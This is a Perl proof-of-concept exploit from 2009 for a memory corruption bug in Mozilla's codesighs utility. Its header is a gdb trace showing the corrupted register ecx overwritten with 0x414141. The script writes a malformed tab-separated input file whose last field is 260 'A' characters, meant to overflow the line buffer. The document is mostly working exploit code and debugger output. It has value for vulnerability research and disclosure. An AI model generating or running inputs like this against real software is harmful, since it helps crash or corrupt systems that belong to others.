#!/usr/bin/perl
# thedailyshow.pl
# AKA
# Mozilla Codesighs Memory Corruption PoC
#
# Jeremy Brown [0xjbrown41@gmail.com//jbrownsec.blogspot.com//krakowlabs.com] 12.12.2009
#
# *********************************************************************************************************
#
# 257 while(0 == retval && NULL != fgets(lineBuffer, sizeof(lineBuffer), inOptions->mInput))
# (gdb)
# 259 trimWhite(lineBuffer);
# (gdb)
# trimWhite (inString=0xbfffd310 "1\tCODE\t", 'A' <repeats 15 times>, "\t", 'A' <repeats 15 times>, "\t", 'A' <repeats 15 times>, "\t", 'A' <repeats 145 times>...) at codesighs.c:213
# 213 int len = strlen(inString);
# (gdb)
# 215 while(len)
# (gdb)
# 217 len--;
# (gdb)
# 219 if(isspace(*(inString + len)))
# (gdb)
# 221 *(inString + len) = '\0';
# (gdb)
# 215 while(len)
# (gdb)
# 217 len--;
# (gdb)
# 219 if(isspace(*(inString + len)))
# (gdb)
# 228 }
# (gdb)
# codesighs (inOptions=0xbffff350) at codesighs.c:261
# 261 scanRes = sscanf(lineBuffer,
# (gdb) i r
# eax 0x0 0
# ecx 0xb7fe468c -1208072564
# edx 0x82 130
# ebx 0x9d8ff4 10326004
# esp 0xbfffd040 0xbfffd040
# ebp 0xbffff328 0xbffff328
# esi 0x0 0
# edi 0x0 0
# eip 0x8048945 0x8048945 <codesighs+142>
# eflags 0x246 [ PF ZF IF ]
# cs 0x73 115
# ss 0x7b 123
# ds 0x7b 123
# es 0x7b 123
# fs 0x0 0
# gs 0x33 51
# (gdb) s
# 270 if(6 == scanRes)
# (gdb) i r
# eax 0x6 6
# ecx 0x414141 4276545
# edx 0x0 0
# ebx 0x9d8ff4 10326004
# esp 0xbfffd040 0xbfffd040
# ebp 0xbffff328 0xbffff328
# esi 0x0 0
# edi 0x0 0
# eip 0x804899d 0x804899d <codesighs+230>
# eflags 0x282 [ SF IF ]
# cs 0x73 115
# ss 0x7b 123
# ds 0x7b 123
# es 0x7b 123
# fs 0x0 0
# gs 0x33 51
# (gdb)
#
# http://jbrownsec.blogspot.com/2009/12/mozilla-code-sighs.html
#
# "Can't read my, can't read my, no she can't read my poker face"
#
# *********************************************************************************************************
# thedailyshow.pl
$filename = $ARGV[0];
if(!defined($filename))
{
print "Usage: $0 <filename>\n";
exit;
}
$payload = "1\tCODE\t" . "A" x 15 . "\t" . "A" x 15 . "\t" . "A" x 15 . "\t" . "A" x 260 . "\t";
open(FILE, ">", $filename) or die("\nError: Can't write to $filename");
print FILE $payload;
close(FILE);
print "Wrote payload to \"$filename\"\n";
exit;